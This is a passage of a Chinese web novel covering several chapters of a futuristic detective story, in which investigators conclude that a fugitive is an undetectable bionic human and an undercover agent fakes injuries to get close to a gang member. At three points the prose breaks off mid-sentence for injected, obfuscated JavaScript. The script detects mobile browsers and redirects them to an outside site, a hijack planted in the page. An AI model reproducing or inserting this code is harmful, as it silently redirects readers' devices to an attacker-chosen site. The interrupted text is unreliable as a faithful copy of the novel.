季渊知正在收拾满桌的瓶瓶罐罐和试剂,见是燕逸岫,略微诧异。 “这个点了,怎么还过来这儿,不赶紧回家休息吗? ” “懒得回去了,”燕逸岫眼皮已经开始沉重,脚步虚浮,“我明天还要再去医院一趟,就在这附近呆一晚得了。” 她找张椅子坐下,重重靠在椅背,仰头望着天花板深呼吸。 “你这边药物检测的进展如何?” 季渊知摘下口罩,声音听不出情绪:“暂时没有什么进展,卡住了。” “唉——”燕逸岫长长叹出一口气,“我这里也差不多,线索越积越多,但却不能像消消乐一样串在一起解决掉,乱成一团。” “这种日子什么时候是个头?”燕逸岫压低声音自言自语嘀咕,不想让季渊知听到丧气话。 季渊知两手揣进白服里,静静打量她,过了一会才说道:“你太累了。” “还好,可能是被狼吓得。” “我说你的精神太紧绷了,查连环案不是一朝一夕就能解决的,你想得太远太重就耗心神。” 季渊知边说着,走到燕逸岫身边,靠在桌沿稍稍弯腰靠近,嘴角翘起一点弧度。 “我给你讲个笑话吧。” “嗯?” 季渊知说她有个珍藏的笑话,每次觉得打不起精神的时候就会想一想,笑一阵就觉得松快多了。 燕逸岫好奇地点头,洗耳恭听。 原本季渊知还忍得住,但越说越快,最后几个字简直算得上是匆忙飞出来的。 她急急忙忙讲完就憋不住开始笑,笑得弯腰,绑在后面的头发顺势滑下来垂到肩前,随着身体颤动晃动。 她的笑声很轻,像树叶随风飘动似的轻盈盈扫过耳廓。 燕逸岫坐直。她还是头一回看到季渊知笑得眼睛都眯起来的模样。 平常她总是波澜不惊,泰山崩于前而色不变的高冷学霸形象,谁知道居然是个笑点这么低的人。 燕逸岫还没反应过来冷笑话的梗在哪,倒是先被季渊知的模样感染,跟着笑起来。 她脑海中幻想出季渊知独自在实验室里忙碌,靠想笑话来调节情绪的场景,觉得实在有趣。 燕逸岫确实因此放松了几分,不再绷得生硬,后背淤伤也缓和些许,暂时不会泛着细细密密的刺痛。 “对了,我再给你变一个魔术吧。” 季渊知转身走向一旁的药物柜,取出几种化学物质依次倒进杯子里。 一通操作之后,她把一块燃烧物放进烧杯中。 里面瞬间涌出一团特别的火。 这火不是平日里见到的橙红暖黄,而是清新的青色和蓝色交织,如游龙般摇摇晃晃往上燃烧跳动,变幻中夹杂着一点浅橙荧黄,犹如…… “是不是像极光?” 燕逸岫连连点头,深感惊奇,眼睛里映着那青蓝的温柔光芒。 她去不了北极看极光,没想到能在小小烧杯中看到这样奇丽的景象。 “好厉害。” 燕逸岫觉得新鲜得很,看了又看,看了又看,都快围着它打转了。 “其实是很简单的化学反应而已,以前也是学长教我的。” 那是她初中的事情了,如今提起仍然记忆鲜明。 因为考了99分而不是100分,没有达到家人的目标,所以季渊知被要求留在学校重新把课文学一遍,做完整本新买的习题册才能回家吃饭。 那时候她年纪小,不懂反抗,也不懂敷衍,只会乖乖听话留在学校。 她当然感到委屈,做了一半之后,眼泪开始一颗颗滴在试卷上,印出一大片深色痕迹。 她觉得自己一辈子都要讨厌化学了。 也就在那时,一位高年级的学长穿过走廊,她刚做完实验,收拾器材准备送回实验室去,碰巧注意到了教室里孤零零的季渊知。 于是她走进班级,坐在季渊知面前了解情况,就地取材给她表演了这个极光魔术哄她开心。 季渊知心情好些了后,学长仍然待在教室里陪着,直到她写完所有练习题,最后再送她回家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038414|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 季渊知当时问她为什么要留下来,明明两人并不认识。 “看到你就想起了以前的我。” 学长说自己不如她聪明,当年写到初三年下晚自习了她都还没写完整本练习册。 她从没感到那么恐慌过,害怕黑夜,害怕孤零零一个人,害怕没写完就回家的责罚。 所以今天看到季渊知,她绝对不可能视而不见。 从那以后,季渊知就多了一个朋友。 学长遇见她都会热情打招呼,给她塞小零食,周末还会问她要不要一起出来玩。 毕业之后,学长去了外地读高中和大学,两人没有待在同一个地方,但仍然保持着联系,发发信息,打打视频。 学长是化学专业的,她对化学有着深厚的热爱。 季渊知后来双学位修了药学,其实多多少少也是受学长影响。 随着长大,季渊知变得越来越高冷,学长倒是一直没变,永远都是神采飞扬的自信模样。 每次看到她笑吟吟的面容,季渊知就会想起当年昏暗教室里那道烧毁郁悒的白青焰火。 往昔回忆在脑海中一瞬间飘过又被压了回去,季渊知的注意力重新放到当下。 “现在会觉得放松些了吗?” “好多了,谢谢你渊知。” 季渊知将头发拨回背后,直起腰转身继续收拾东西:“那就快去休息吧,你不打算回家的话就去楼上的客房,A2还没人住过。” “你呢?” “我收拾收拾也去楼上,不回家了,我这几天都住在A4。” 燕逸岫洗漱一番躺在床上,望着雪白天花板。 盯着盯着,忽然间恍觉天花板浮出青色极光,浩浩荡荡游穿墙壁,不知去往何处。 她闭上眼,在梦中随着极光沉浮天际。 满天星光闪烁摇曳却没有人欣赏,因为这一切都是虚假的东西。 天空顶的电子屏会在夜里切换成星空图案,假装是自然天地之美,这在地下城居民看来颇为可笑。 深夜的街道人烟稀少,老旧的厂区更是荒凉。 温簌正蹲在暗处,不断调整多功能镜的焦距,瞄准了洪旭的办公室。 今晚阿仲逗留基地不回家,一看就是打算拖延时间留下来做什么事。 所以等大家都散了之后,温簌也假装离开,但避开监控偷偷绕了一圈返回,找了个地方躲起来。 很快她就等到了阿仲带着一个东西从办公室里出来。 是之前和天祐研究院交易的货物。 他打开通讯交代几句后,就带着东西出发了。 温簌放出蚊型监控无人机,随后自己也起身悄悄跟上。 阿仲走得并不远,停在了厂区外的一条小巷子里。 等了大概五分钟,一道黑影从小巷中浮出。 那人黑衣黑帽,完全看不清模样,只有嘴里的烟是亮的,青白色的火光忽明忽暗,细烟缥缈。 阿仲将东西交给她,点头哈腰谄媚问候着。 黑衣人没搭理他,拆开箱子检查一番,快要熄灭的烟头上下晃动。 她将箱子夹在腋下,又掏了一根烟出来,叼在嘴里点燃。 火光霎时间照亮了她的大半张脸,朦朦胧胧的,眉眼模糊。 但因擅长易容术而精通面部结构辨认的温簌一眼就认出来了。 这张脸有些熟悉。 她打开屏幕翻资料,确认是同一个人没认错。 齐莲。 也就是炎穆帮的阿连。 70. 推翻重来 “炎穆帮老大的心腹阿仲,把重要的货物交给了炎穆帮的小喽啰阿连,而且态度非常好?” 第二天一早,燕逸岫起床洗漱下楼,听着温簌说起昨晚目击到的场景,按下电梯按钮。 这么看来,阿连似乎还有另一层藏得更深的身份。 她为了方便交易而混入炎穆帮假装小喽啰,炎穆帮又为了吞并彭嵘的帮派而派她潜入其中假装小喽啰。 间谍的活可真不是一般人能干的。 下楼之后燕逸岫发现卫崧居然正坐在大厅里。 他拧紧眉头盯着屏幕,一行行仔细读着什么,认真到没注意四周。 她转身正打算悄悄离开时,卫崧如有感应般忽然抬起头,视线瞄准。 “逸岫姐。” 燕逸岫被喊住,只好重新转回去走向他。 “你怎么一大早跑这儿来了。” “大队长说今天要汇总近期线索,让我过来一趟,今天就待在基地熟悉资料。” “因为医院人多眼杂,不太方便讨论内部情报。” 燕逸岫又问道:“你的腿怎么样了?” “差不多好全了。” “哦……”燕逸岫慢吞吞应了一声,不知道还要说什么了。 她的目光开始暗中搜寻季渊知的身影,然而唯一的救星并没有出现在这一层。 卫崧眼中含着笑意凝视她,没多久又略略别开脸:“我对这些还不太熟悉,会尽快赶上你们的。” 作为半路插进这支特殊队伍的新人,卫崧多多少少感到忐忑,担心她们会嫌弃自己现在没什么能够独当一面的特长。 燕逸岫赶紧摆手:“没事的没事的,按你自己的节奏来。” “队长说了,新的人来看说不定会发现新线索,这个急不得。” 说完后,她听见了乔琅和廖怀霖嘻嘻哈哈的声音从远处飘来,顿时感到轻松不少。 听说有新成员加入,原本打算宅在家里处理线索的乔琅和廖怀霖都跑来基地凑热闹。 她们两人和卫崧简单寒暄了几句熟悉熟悉,就各自找位置坐下,开始为一会儿的汇报做准备。 秦观秋按照医院档案记录和廖怀霖查到的线索找齐了当年负责昆黎临分娩的所有医生和护士,打视频询问当年的事情。 集齐信息后,她将所有内容都传上微系统。 姜韫的医生朋友也将档案记录译出来了,是很正常的内容,没有什么需要特别关注的地方。 “那就奇怪了。”姜韫的声音从屏幕那头传来。 年份差不多,去国外参会的专家基本都不记得三十几年前的事了,而当天在同一产房工作的这些医生护士居然全都对这一场分娩的细节有印象。 一两个人记性超强很正常,但这里头的每一个人都颇为清楚且用词相似就显得可疑了。 秦观秋明白她的意思,应了一声接话:“我也觉得奇怪,所以我当时又多问了几个问题。” 她翻出日期相近且都由她们负责的几个孕妇的资料进行询问,但她们却基本不记得了。 如果说是因为当时突发什么意外状况导致印象深刻,她们的神情语气应该有所起伏才对,哪怕只是微小的变化。 然而,她们的反应都非常平淡,仿佛在聊吃饭了吗。 很不自然,好像这段记忆不是她们自己生成的,而是…… “记忆是被植入的。” 当天,所有进入产房的医生和护士都被植入了一段昆黎临分娩的伪造记忆。 昆黎临当年可能根本没有生孩子,甚至根本没有怀孕。 因为在此之前,她借口忙于工作,从没做过产检,只有分娩当天才去了医院,留下记录。 姜韫和燕逸岫的推测似乎更站得住脚了。 两人看到乔琅买的新机器人,想到昆隐棋的神秘行踪,想到她的的日记,想起石见微医生,想起昆隐棋父母的职业…… 各种线索汇聚一起,得出关于昆隐棋身份的猜测。 昆隐棋是仿生人。 当初昆黎临和石见微于机场偶遇,在短暂的交流讨论中达成共识。 这大概是昆黎临的想法和计划,但缺少了极其关键的融合方法,涉及到医学领域的知识和大胆创新的想法。 她不是医学天才,但石见微是。 找到与自己有着相同兴趣的医学天才,并且对方能给出她想要的答案,不知道昆黎临等了多久才等到这一天。 两人发挥所长,在讨论中确定了可行的核心方案。 之后便是无数泡在研究室里的日子。 科技与医学融合,成功造出一个叫昆隐棋的婴儿。 她拥有真实的皮肤、内脏、构造、细胞等等。 身体机能正常运行,按照自然规律生长甚至衰老。 一个体检扫描等科技手段都检测不出异样的仿生人。 一个与正常人一模一样的仿生人。 连反派都找不到她,可见这个仿生人身上拥有很多不同寻常的能力。 例如随意变换性别样貌,随时调整行走姿态和习惯。 如果她拥有这些,那么摆脱反派的掌控逃亡就变得容易多了。 这样的仿生人混在人群中,谁也发现不了。 她们完全无法想象出这究竟是如何研究出来的,但至少知道这绝对不是往人脑中嵌入一块芯片这么简单的事。 “对了,”季渊知说道,“昆隐棋有个姐姐,那会是初版实验品吗?” 所谓生病,大概就是技术不成熟或是某方面的失误偏差导致的故障。 两位科学家从始至终就只打算留下一个成功的实验品,所以昆隐棋和姐姐拥有同一张脸。 她们既是最亲近的姐妹,也是对照组,是你死我活结局早已注定的关系。 符合创造者目标的昆隐棋诞生后,为了赋予她在这个社会生存下去所必备的身份资料,昆黎临最后才要假装怀孕去医院生产,留下记录。 她们留下并持续观察不完美的姐姐,发现她成长过程中的各种问题后及时调整昆隐棋的各项数值,避免再次出错。 但失败的实验品总归要处理掉,以防将来惹出麻烦。 为了避免节外生枝,她们从不让人发现还有另一个孩子的存在。 两个孩子长着同一张脸,方便两人轮流出现在外界视野中而不会引起怀疑。 “所以初代仿生人已经被销毁了?” “这一点还有待商榷,昆隐棋留下的内容表示她似乎很确信她的姐姐仍然活在这世上,只不过不知道去了哪里。” “当然也有可能是昆黎临两人早就背着昆隐棋销毁了初代仿生人,骗她说只是把姐姐送走了之类的。” “总而言之,如果真是仿生人,那我们的侦查手段可能都需要推翻重来。” 乔琅换了个姿势歪歪扭扭坐在椅子上:“难怪我之前找不到。” “既然是仿生人,是可以自己调整身体各项数值的,换成另一张脸另一套样式,就完全不会被发现真实身份了。” “可男可女,自如切换,比如反派也算是。” “之前大家听到的反派声音都是男性,但其实也有可能是女性。” 提到反派,燕逸岫突然想起不对劲的事。 “等等,可当初欧徽发现了她。” 那时昆隐棋正在逃亡中,明明有千万种方法隐藏自己,却以真面目示人,被反派的人发现并跟踪。 所以她是故意的。 她是故意被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049682|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欧徽发现,留下地址,引出前来接近她的杀手。 顺着这条线想,姜韫突然记起之前天极区发生过一起枪杀案,死者被藏在地下室里,发臭了才被找出来。 那件案子就在昆隐棋被欧徽发现之后没两天。 如果是昆隐棋策划了这一行动解决掉杀手,那便是她的表态。 她决心和反派对抗到底。 “现在知道她了的身份,可还是没法抓到人,仿生人要怎么找?” 姜韫抽离思绪回到眼前的屏幕:“找不到就想办法把她引出来。” 昆隐棋会和反派合作,恐怕是反派许诺会帮她找姐姐。 虽然暂时不知道她脱离反派组织是因为没得到姐姐的线索还是别的原因,但她失去了反派这一难得的金手指资源,就还得再想办法。 她们只要布好网,守株待兔就行了。 凭燕逸岫对姐姐的感情,就算她自知是陷阱,可能也还是会往里跳。 结束汇报后姜韫从休息室走出来,正好碰上一队警员带着一具尸体经过走廊。 “这是什么情况?”姜韫问朝她走来的安竹。 “今早一个是钓鱼佬报案。他在河边钓了一两小时,半条鱼都没钓着,最后好不容易有东西咬钩了,沉甸甸的,本以为是条大鱼,没想到钩上来一具老人的尸体。” “哦?意外溺死还是凶杀?” “暂时判定是溺死,意外还是凶杀需要进一步检查。” “法医初步检测报告显示病人肺中的水样以及里头的绿藻等生物和河水成分是一样的。” 姜韫点点头,没再多问什么,开始了今天来警局要处理的几件事。 她走到咖啡机前点了几下,选好口味,在等待过程中边问道:“之前突袭医院的那帮人,还没审出什么吗?” “没有,藏得太深了,根本查不出什么。”提起这件事安竹就烦恼得皱成苦瓜脸。 姜韫点着头,却没因为这番话而失望发愁,反而露出一闪而过的浅笑。 “过犹不及……”她把先倒出来的咖啡递给安竹,“藏得深不好找,但藏得太深,其实又相当于什么都没藏。” 她拿起第二杯热咖啡轻轻吹两口,语气笃定:“我记得有个特别神秘的帮派……” “叫锡众帮对吧?” 安竹捧着热咖啡,眼睛顿时亮起,回答道:“没错,这个帮派看似很安分,明面上几乎没有与其它帮派起大冲突,也查不出什么严重犯罪痕迹。” 安竹喝一口咖啡,调出资料浏览:“所以地上警方和这个帮派接触不多,毕竟是盘踞地下城的,监管局那儿应该有更多线索。” “前两年锡众帮闹大过一回,我看看啊……是向步青支队长带队处理的,她们应该是和锡众帮接触最多的人了。” 脚步声停下。 “你喊我?” “啊——”痛苦的嘶声喊叫响彻街道。 向步青一个肘击把人捶趴下,弯腰把对方揪起来,再朝他脸上砸两拳,彻底把人打老实了。 她甩甩手腕直起腰,目光里的厌恶毫不遮掩。 即使“活动”一番,她的制服仍然平整,棱角凌厉。 “敢在背后叽叽歪歪,看来你蹲大牢蹲得还不够过瘾。” 被打出鼻血的混混气不过,捂着脸嚷嚷:“你、我、我要举报你!你暴力执法!你等着!” 向步青冷笑一声,气定神闲侧身往一旁站。 混混以为她怕了,顿时心中一喜,刚要开口继续攻击,却见她身后的另一个人走上前来。 严睢拎鸡仔似的把人扯起来站好,对他胳膊上的伤视而不见,用力扣上手铐。 “阿杜,我们怀疑你涉嫌杀人,去局里喝杯茶聊聊吧。” 71. 总会有办法的 燕逸岫早上到达医院时,樊隽远已经离开返校了,不在妹妹身边。 燕逸岫没有进病房,只站在门外透过玻璃窗观察躺在病床上沉睡的女生。 樊隽遥也是大学生,称得上是个小神童,跳级上学读书,最后和比自己大两岁的哥哥樊隽远同年高考上大学。 兄妹俩都是温和有礼貌的文静性格,从小到大都是“别人家的孩子”。 谁也没想到天妒英才,樊隽遥会出意外,偏偏还是伤到大脑,一夕之间从聪明灵动的少年变成了不知道什么时候才会醒来的植物人。 燕逸岫稍加打听了解她转院的原因,松了一口气。 所幸她的身体没出什么大问题,而是最近正好有位神经科的权威老医生接受返聘回到医院。 樊家人听闻此事就立刻为女儿办理转院来到这里,希望老医生能关注关注她们这个可怜的孩子,提供一点新的意见或方案。 提到权威老医生,燕逸岫自然想到了石见微。 但石见微不是精通医学某一领域的专家,她几乎在每个领域都是首屈一指的专家。 不管是头脑还是骨骼还是心脏等的难题病例,她在研究小组里都是主导地位。 退休年纪到了之后,石见微离开医院享受晚年生活。 并非医院不返聘她,而是根本来不及,也插不上话。 因为石见微早就被国家医学研究院截走了,平日里负责远程指导国内外专家的科研研究,必要时才动身去参加重要的讨论会学术会。 见这边没什么异常,燕逸岫就上楼继续泡在医院资料室档案室里了解有关石见微在此任职的事情。 不一会儿,谭誉道发出消息,上传了一份资料。 之前天极区地下室案的那具尸体早就火化了,所以只有文字资料可供研究。 死因是一发毙命的枪伤,干脆高效,远距离射杀,伤口角度为由上往下穿透大脑。 高处往下,是狙击手埋伏射击会产生的角度。 那附近没有监控,最后凶手避开人和监控将尸体转移到地下室里。 警方现场搜证没有在现场附近发现子弹和弹壳,所有证据都被凶手清理干净了。 原本警方判断是帮派之间的冲突,现在看来也有可能是昆隐棋干的。 乔琅将当天附近所有监控调出来研究,两手捧着脸支在桌上。 没有熟悉的身影,步态特征完全不同。 她完全看不出昆隐棋变成了什么人。 自己引以为傲的技能遭到挑战,特长无用武之地,乔琅不禁心烦意乱。 怎么坐都不得劲,像有根针在身体里随着血液游走,这儿扎一下,那儿刺一道。 平日细心呵护的长发此时也变得不顺眼,又重又刺,紧密贴在后背,闷得快要冒汗。 没有绑发头绳,她就把头发分成两边胡乱打结成一团,勉强挂在了脑后。 乔琅关掉视频暂时不看,趴在桌上闭起眼,在头脑中抽丝剥茧,分析新思路。 她开始反省自己太骄傲自大了,有着一双火眼金睛就自负认为能看穿所有监控传达的信息,能找出任何她辨析出特征的人。 谁知道在这高科技世界还有多少类似于反派和昆隐棋那样特殊的人或非人类? 往后面对更难识破的对象,她也会像现在这样无能为力,队友们都在奔波涉险,而她什么都帮不上,只能眼睁睁干等。 一想到那种场景,心气高的乔琅就觉得窒息,心火烧得胸膛发烫,浑身起鸡皮疙瘩。 绝对不能止步于此。 可要怎么做才能改变局面?她深感茫然,心急又恼怒,恨铁不成钢。 ……总会有办法的。 乔琅想起自己那在商界呼风唤雨的妈妈。 妈妈遇到麻烦时总是会这么说,语气平淡,仿佛根本不当一回事,从不觉得什么东西能真正威胁得到自己。 而她从小由妈妈庇护长大,根本不知道什么叫挫折,没有需要自己费劲想办法解决的危险困难。 “总会有办法的……”乔琅喃喃自语,大拇指摩挲着屈起攥成拳的食指指节。 这是妈妈每次在思考在做决策时会做的习惯动作。 如今乔琅自己面对这些麻烦,不知怎么的就学起了这个动作。 假装妈妈就在身边,能从她那儿汲取力量,希望能像她一样,在最短的时间内想出最完美最周全的解决方法。 总会有办法的。 警方已经和地下城监管局提前通话告知相关情况,所以姜韫进入地下城后直奔监管局,一路畅通无阻,由接待的人带上楼找向步青。 向步青此时正在总队长办公室里汇报杀人案的调查进展,尚未结束。 姜韫便站在她的办公室门外耐心等待。 十几分钟后,一个穿着平整制服的女人大步走来,逐渐接近。 大气端正的面孔,眼睛黑白分明,显得更亮,也透出更明显的情感。 野心。 她的双眼里,是大大方方展露出的勃勃野心,搭上这张面无表情的脸,衬得更凌厉凶煞,令人胆颤,心生忌惮。 姜韫与她对视几秒,不禁有些好奇。 按理来说,走上这一高度的人会更加倾向于收敛锋芒,隐藏情绪心迹,小心行事,不在上级眼皮底下招摇而影响仕途,也谨防不怀好意之人揣测到什么而在背后摆上一道。 可向步青似乎完全不在意这些,大剌剌展现出来,明晃晃告诉所有人她不满足于现状,她会一直往上爬直到霸占最高位。 向步青想起先前的电话通知,停下脚步,定在姜韫面前。 两人差不多高,但向步青习惯略略仰头,因此这会儿半垂眼帘瞧着来客,没有主动开口。 “向支队,你好。” 姜韫完全不受她高傲冷漠的样子影响,神情自然,笑容温和,简单表明自己的身份后伸出右手:“久仰。” 向步青板着表情点点头,也伸出右手。 两只宽大有力的手紧紧握在一起,保持着力道停顿三秒后同时松开。 “冒昧打扰了,不知道向支队今天有没有时间?我有些问题想向你咨询。” 姜韫没有直接说出口,而是打开屏幕拨转个方向给向步青看。 向步青扫了眼屏幕上锡众帮的陈年资料,眉头一扬,觉得稀奇。 “我都快忘了这个帮派,没想到还有人查。” 她终于出了声,声音也如性子一般冷傲。 向步青快速默念一遍屏幕上的资料,接着扭头看向守在不远处待命的人。 “严睢,那边的事你替我去办,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057177|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先和这位警官聊一聊。” “好的。” 燕逸岫此时也在地下城,打算以阿彬的事为借口和阿连套近乎。 若有机会,也可以再想办法接近阿彬的家人偷听一点情况。 阿彬的尸体已经被带回家里停灵准备火化下葬了。 因为情况特殊,警方赶在阿彬父母带走尸体前请了一名技术高超的法医来,在太平间里利用特殊高科技悄悄解剖阿连尸体,再完美复原,不让她的家人发现异常。 至于超度不超度的问题,她们并不迷信这些。 如果阿彬是为人所害,为她找出真相才能真正送冤魂超度轮回。 通过千里眼看到人海中的阿连在往哪儿走之后,燕逸岫来到对方最可能经过的街道守株待兔。 她站在路边的自动贩卖机前犹豫该买什么,拖延时间。 算准了时机,她买好饮料转身,“碰巧”看见了晃荡过来的阿连,忙开口打招呼:“阿连姐。” 阿连望向她,目光凝了几秒,而后想起了是谁:“哦,兔子啊,怎么来地下城也没说一声,我们好带你一起玩去啊?” 燕逸岫朝她走去:“哪好意思,你们朋友不是刚去世吗,我猜你们应该很忙,心情也比较沉重,我哪敢打扰你们。” “怎么会怎么会,”阿连亲亲热热揽她的肩挨近,“都是朋友,什么叫打扰,生分了啊。” “以后可别说这种客套话了,走走走,喝酒?还是练枪?” 严睢代替向步青去处理公务,顺便巡一圈治安。 走到半路时,他听见街对面的小巷里传来一群人的怒喝吵闹声。 他凭经验判断出这是在打群架,眼见时间充裕,便决定先去处理突发状况。 严睢大步跑进巷子,循着声音方向拐了个弯继续寻找。 刚走出转角,一道身影就不轻不重撞到他面前。 “啊对不起……我……” 话语戛然而止,对方颇为惊讶地瞪大眼睛,旋即抓住他的衣袖不放,用力摇晃两下,劈手指巷子里的十几个混混告状。 “严长官,她们群殴!以多欺少!” 这回严睢很快就认出了跟前的人是虞瓷那个说流氓话的朋友。 想起之前的事情,他神色开始僵硬,但听清她的话后,又立刻集中注意力应对当下状况。 “谁起的头?”他皱眉扫视一圈。 “她们!”燕逸岫飞快回答,“我和朋友只是路过这里,莫名其妙被这群冒出来的人围堵住殴打,还嘲笑我们,简直是无妄之灾……” 她机关枪似的添油加醋告状,把对面一群人都给说愣了。 “听她瞎扯呢,谁殴打谁了,明明……” 不管她们怎么打甚至合作群攻,这个短发女生总是能轻巧躲开,比野猫还灵活迅速。 燕逸岫适时捂着腮帮子抽气,抬手在嘴上随意一擦,手背上就多了一道猩红的血迹。 她疼得呲牙咧嘴,这么一来能看到连牙齿都被染红了。 她指指这个指指那个,展示给严睢做证明。 那群人都傻眼了。 她们横行霸道多都没经历过这种栽赃。 不儿,妹子,说句母道话,明明根本就没人碰到你吧? 哪来的血?怎么这就演起来了? 72. 电车难题 她们本想说监控为证,查查监控就知道这个人说谎不打草稿,但接着又突然意识到她们为了掩人耳目,特意找了没有监控的地方埋伏。 没想到聪明反被聪明误。 严睢瞧见燕逸岫手背上那层薄薄的血迹,再看不远处也挂了彩的阿连,心中便有了大概的判断。 他指了指自己胸前的徽章:“你们这些人都给我老实去监管局,执法仪已经录下来,一个都别想侥幸逃走。” “熟面孔了啊,没有录像我也记得住你们的脸。” 混混们顿时没了气势,弯腰塌肩,人都矮了几厘米,又恼火地瞪燕逸岫,恨得牙痒痒。 燕逸岫假装看不见,心想谁让她们先来招惹她。 她和阿连本好端端走着,这群人莫名其妙地出现找她们俩的麻烦。 从她们此起彼伏的嚷嚷里燕逸岫拼凑出大概的原因。 这群人和彭嵘的帮派一直有龃龉,时不时碰上了就要干一架泄恨。 不过燕逸岫也不觉得算是莫名其妙,因为是阿连带路走进了这条偏僻小巷抄近道。 阿连当然清楚别的帮派平日里会大多聚集在什么地方,专门挑了这条路走来碰运气。 大概就是为了试探她的本事,甚至不惜自讨苦吃卷进来受伤。 “还有你们俩,”严睢看向两人,表情也没好看到哪儿去,“你们……” 燕逸岫赶紧呲牙咧嘴含糊不清说道:“啊?什么啊?攒官我被打得老袋疼耳朵嗡嗡的。” 一副因为受了伤讲不清楚话的大舌头的样子。 “……” “算了。” 严睢一点都不想多看她,叹气别过视线,生怕又想起前几天她说的话,还有那副流氓的样子。 “你们俩走吧。” “谢谢杨俺官!” 燕逸岫看出他似乎还因为上次的事膈应,不想和她接触,所以故意挨得更近,一脸感动地作势要握他的手。 果然严睢唯恐避之不及,往侧边闪了一步,眼皮快要抽筋,勉强维持住威肃。 “以后注意点,不要再惹事了,否则下次你们也别想跑,我可不管谁有理谁没理,全部抓进去长长记性。” “好好好谢谢野攒弯!” “……麻烦你别说话了。” 严睢后退几步,联络附近的同事前来处理。交代完再一转身,就发现燕逸岫和阿连已经消失了。 “没想到你这么能躲,我还以为正好能目睹你一打多的英姿呢。” “哦对了,之前还听说你也在严睢面前和另一个帮派起冲突了,还把人打飞出去呢。” 燕逸岫连忙笑着解释,面不改色继续扯谎:“情况不同嘛,你看刚才那么多人,要是一开始就全力打,万一后面还有埋伏怎么办?” “万一有更多人来帮忙,我们的体力却已经耗尽了,哪应付得了,估计得被揍死惨。” “所以嘛,先躲一躲,保留体力看看,说不定就会等来严长官那样的支援。” 阿连深以为然,揉着胳膊上的红肿说道:“还是你聪明。” “运气好罢了。”燕逸岫一脸谦虚地摇头。 “要不是正好碰上了严长官,后面会怎么着可就难说了,恐怕不掉层皮是走不了了。” 现在燕逸岫看到严睢都有点心虚。 上一回是趁着下蹲的时候把自己的腿给拧伤,假装是被对方砸伤的。 这次又自己偷偷咬破嘴皮,假装是被对方打出血。 撒谎撒多了,总觉得有点对不起人家。 下次…… 下次还敢。 燕逸岫贴心地扶住阿连的胳膊:“真晦气,碰上那群人挑事,我先陪你去诊所处理一下伤口吧。” “哎,这些小伤有什么好处理的,不打紧,走走走,先上喝几杯,心情好点再去练枪。” 关上门,屋里便只有她们两人了。 姜韫把她们查到的情况简略说明一番,和向步青共享信息。 她展示出几张肖像照,问道:“这几张脸,你们两年前的行动中有看过吗?” 向步青一张张辨认,最后摇头:“没见过,两年时间很长,帮派成员的脸都不知道换了几轮了。” “你印象里的锡众帮成员是什么样的?” “底下成员都没有纹身之类的表明所属的特征,情绪不对劲,精神很明显被控制。” “我们一直没见过核心帮派成员,更不用说首领了,一个个搞得比国家机密还神秘。” “锡众帮的标志也没人知道,不过我们有个怀疑的图案。” 当年在搜查某个活动基地时,向步青留意到一处角落有个沾了血的印子,模模糊糊像个符号。 姜韫快速回想一遍自己手头掌握的资料:“之前没有公布出来?” “没有,只是怀疑,并不确定,如果真的是,我们隐瞒着假装不知道也方便之后辨认身份。” 向步青调出一直存在芯片里的照片,移到姜韫面前。 照片上拍的是一块墙角,斑驳暗黄。 墙中间一个小小的深褐色印记,大约是某个物体上立体的图案,沾了血后碰到墙上留下痕迹。 残缺的圆,线条断断续续的三角形。 仔细观察能看出像是半只眼睛,外面还有几点不规则的血印,看不出是什么。 两人又聊了十几分钟分析情况,最后向步青看了眼时间,说自己晚点还有事要忙,讨论才停止了。 她将监管局这儿有的所有关于锡众帮的档案资料全部复制一份交给姜韫。 说完正事,两人心有灵犀般沉默,静静打量对方。 向步青微眯起眼思索,像狼的眼睛在观察形势似的。 随后她眯着的眼弯得更弯,淡漠的审视瞬间化成笑意。 “没想到有名的连环杀手会和地下城的人有牵扯,今后有什么需要尽管开口,我会尽全力协助,若能帮上忙,这可是大功一件。” 如果抓住犯下一系列重案的连环杀手,职位晋升根本不用操心。 都是功利心很重的表情和话,向步青也不掩饰,坦然说出口。 谈感情谈价值这些虚的东西有什么用?简单直接冰冷的利益交易才最稳固。 渴望权势又假装淡泊的人她见多了,姜韫这类不内斗算计的真正务实者她也见过不少。 不管和哪种人合作,直抵核心的利益互惠都是最快统一战线的关键点。 虚伪的人需要将自己的卑劣藏在对方昭显出的野心的阴影里才安心,可以将罪恶全部推给别人,即便日后出事也容易摘出自己。 做事的人只考虑结果,比起长篇大论暗示弯弯绕绕的假大空,精准直白地给出对方想要的才能获得真正的信任。 属于后者的姜韫听到她的话也展露笑容,郑重颔首,再次伸出手。 “没问题,以后多有打扰了。” “欢迎。” 